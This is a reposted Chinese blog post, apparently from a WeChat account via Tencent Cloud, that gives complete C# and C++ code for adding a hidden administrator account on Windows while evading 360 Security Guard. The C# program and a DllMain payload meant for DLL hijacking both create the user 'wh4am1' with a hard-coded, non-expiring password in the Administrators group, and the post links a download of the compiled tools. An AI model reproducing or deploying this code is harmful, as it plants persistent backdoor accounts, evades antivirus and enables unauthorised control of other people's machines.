专栏首页小白帽学习之路利用C#编写的绕过360安全卫士添加系统用户

利用C#编写的绕过360安全卫士添加系统用户

今天在群里看到一位大佬发的绕过360安全卫士添加系统用户权限的脚本,于是乎,我便下载下来分析可知是通过调用系统 API 函数来规避杀软:

所以我就蹭一波热度,自己写了个 C# 版本的, Class 类如下:

using System;
using System.Runtime.InteropServices;

namespace Bypass360
{
    public class LocalGroupUserHelper
    {
        [DllImport("Netapi32.dll")]
        extern static int NetUserAdd([MarshalAs(UnmanagedType.LPWStr)] string servername, int level, ref USER_INFO_1 buf, int parm_err);

        [DllImport("Netapi32.dll")]
        extern static int NetLocalGroupAddMembers([MarshalAs(UnmanagedType.LPWStr)] string servername, [MarshalAs(UnmanagedType.LPWStr)] string groupname,
         int level, ref LOCALGROUP_MEMBERS_INFO_3 buf, int totalentries);

        [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
        public struct LOCALGROUP_MEMBERS_INFO_3
        {
            public string domainandname; // //lgrmi3_domainandname
        }

       [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
        public struct USER_INFO_1
        {
            public string usri1_name;
            public string usri1_password;
            public int usri1_password_age;
            public int usri1_priv;
            public string usri1_home_dir;
            public string comment;
            public int usri1_flags;
            public string usri1_script_path;
        }

        /// 
        /// 添加一个用户,添加失败后返回非0 。
        /// 
        /// 机器名称,如果是本机,请设置为null
        /// 
        /// 
        /// 
        public void AddUser(string serverName, string userName, string password, string strComment)
        {
            USER_INFO_1 NewUser = new USER_INFO_1(); //创建一个USER_INFO_1实例

            NewUser.usri1_name = userName; // Allocates the username
            NewUser.usri1_password = password; // allocates the password
            NewUser.usri1_priv = 1; // Sets the account type to USER_PRIV_USER
            NewUser.usri1_home_dir = null; // We didn't supply a Home Directory
            NewUser.comment = strComment; // Comment on the User
            NewUser.usri1_script_path = null; // We didn't supply a Logon Script Path

            if (NetUserAdd(serverName, 1, ref NewUser, 0) != 0) //添加失败后返回非0
            {
                Console.WriteLine("Error Adding User");
            }
        }

        /// 
        /// 在本地组中添加一个用户成员,添加失败后返回非0 。
        /// 
        /// 机器名称,如果是本机,请设置为null
        /// 
        /// 
        public void GroupAddMembers(string serverName, string groupName, string userName)
        {
            LOCALGROUP_MEMBERS_INFO_3 NewMember = new LOCALGROUP_MEMBERS_INFO_3();
            NewMember.domainandname = userName;
            if (NetLocalGroupAddMembers(serverName, groupName, 3, ref NewMember, 1) != 0) //添加失败后返回非0
            {
                Console.WriteLine("Error Adding Group Member"); 
            }
        }
    }
}

在 Class 类中定义了系统需要用到的 API 函数

  • NetUserAdd
  • NetLocalGroupAddMembers

Main 类如下:

using System;
using System.Runtime.InteropServices;
using Bypass360;

namespace Bypass360Add
{
    public static class BypassUAC_csharp
    {

        [DllImport("kernel32.dll")]
        static extern void ExitProcess(uint uExitCode);

        public static void Main(string[] args)
        {
            LocalGroupUserHelper local = new LocalGroupUserHelper();
            string username = "wh4am1";
            string password = "qqai@love";
            string groupname = "Administrators";
            local.AddUser(null, username, password, null);
            local.GroupAddMembers(null, groupname, username);
            ExitProcess(1);
        }
    }
}

运行后会在目标机器上创建一个用户为 wh4am1 密码为 qqai@loveAdministrators 组用户

当然,如果是想利用 Dll 劫持等方式来添加用户,我也提供上 C++ Dll 的代码

#include 
#include 
#include 
#include

#pragma comment(lib,"netapi32.lib")
void StartExploitThread() {
  USER_INFO_1 ui;
  DWORD dwError = 0;
  ui.usri1_name = (LPWSTR) L"wh4am1";
  ui.usri1_password = (LPWSTR) L"qqai@love";
  ui.usri1_priv = USER_PRIV_USER;
  ui.usri1_home_dir = NULL;
  ui.usri1_comment = (LPWSTR) "";
  //UF_SCRIPT 登陆脚本执行,UF_DONT_EXPIRE_PASSWD 表示密码永不过期,  
  //UF_PASSWD_CANT_CHANGE 用户不能更改密码  
  ui.usri1_flags = UF_SCRIPT | UF_DONT_EXPIRE_PASSWD | UF_PASSWD_CANT_CHANGE;
  ui.usri1_script_path = NULL;

  NetUserAdd(NULL, 1, (LPBYTE)&ui, &dwError);
  LOCALGROUP_MEMBERS_INFO_3 account;
  account.lgrmi3_domainandname = (LPWSTR)L"wh4am1";

  NetLocalGroupAddMembers(NULL, L"Administrators", 3, (LPBYTE)&account, 1);
}

BOOL APIENTRY DllMain(HMODULE hModule, DWORD  ul_reason_for_call, LPVOID lpReserved)
{
  switch (ul_reason_for_call)
  {
  case DLL_PROCESS_ATTACH:
    StartExploitThread();
    break;
  case DLL_THREAD_ATTACH:
  case DLL_THREAD_DETACH:
  case DLL_PROCESS_DETACH:
    break;
  }
  return TRUE;
}

成功效果如下:

本文由“壹伴编辑器”提供技术支持

编译好的成品附件分享

链接:https://share.weiyun.com/5mbP3pC

密码:bugfor

end

本文分享自微信公众号 - 程序员阿甘(gh_a2e36d69d566),作者:TORYS

原文出处及转载信息见文内详细说明,如有侵权,请联系 yunjia_community@tencent.com 删除。

原始发表时间:2020-05-02

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

我来说两句

0 条评论
登录 后参与评论

相关文章

  • 小白入门学习内网之横向渗透攻击流程

    这里有绝对路径的情况下,可直接写入webshell。这里使用sqlmap os-shell的功能

    7089bAt@PowerLi
  • Kali Linux Web渗透测试手册(第二版) - 5.7 - 使用ZAP测试WebSokets

    由于HTTP是一种无状态协议,它将每个请求视为惟一的,与上一个和下一个请求无关,这就是为什么应用程序需要实现会话cookie等机制来管理会话中单个用户执行的操作...

    7089bAt@PowerLi
  • 某汽车名企C语言经典面试题,值得一看!

    各位,今天给大家带来一道某汽车名企的一道面试题,感觉挺不错的,与大家分享一下,直接上图:

    7089bAt@PowerLi
  • 何恺明!再斩ICCV 2017最佳论文

    夏乙 若朴 发自 凹非寺 量子位 出品 | 公众号 QbitAI 何恺明第三次斩获顶会最佳论文! 昨天下午,ICCV 2017最佳论文公布。 何恺明为一作的M...

    量子位
  • LeetCode 1016. 子串能表示从 1 到 N 数字的二进制串(bitset)

    给定一个二进制字符串 S(一个仅由若干 ‘0’ 和 ‘1’ 构成的字符串)和一个正整数 N,如果对于从 1 到 N 的每个整数 X,其二进制表示都是 S 的子串...

    Michael阿明
  • Fundebug前端异常监控插件更新至2.0.0,全面支持TypeScript

    Fundebug提供专业的前端异常监控服务,我们的插件可以提供全方位的异常监控,可以帮助开发者第一时间定位各种前端异常,包括但不限于JavaScript执行错误...

    Fundebug
  • 如何保证static变量只初始化一次

    static变量分为两种情况:第一种是初始化为常量,在编译的时候就可以确定初始值;第二种是初始值在运行的时候才能确定,比如赋值为函数的返回值或 某个类的实例。

    gaigai
  • 盒子端 CSS 动画性能提升研究

    对于 Web 动画的性能问题,仅仅停留在感觉已经优化的OK之上,是不够的,想要在盒子端跑出高性能接近 60 FPS 的流畅动画,就必须要刨根问底,深挖每一处可以...

    Sb_Coco
  • 盒子端 CSS 动画性能提升研究

    Sb_Coco
  • 盒子端 CSS 动画性能提升研究

    Sb_Coco

扫码关注云+社区

领取腾讯云代金券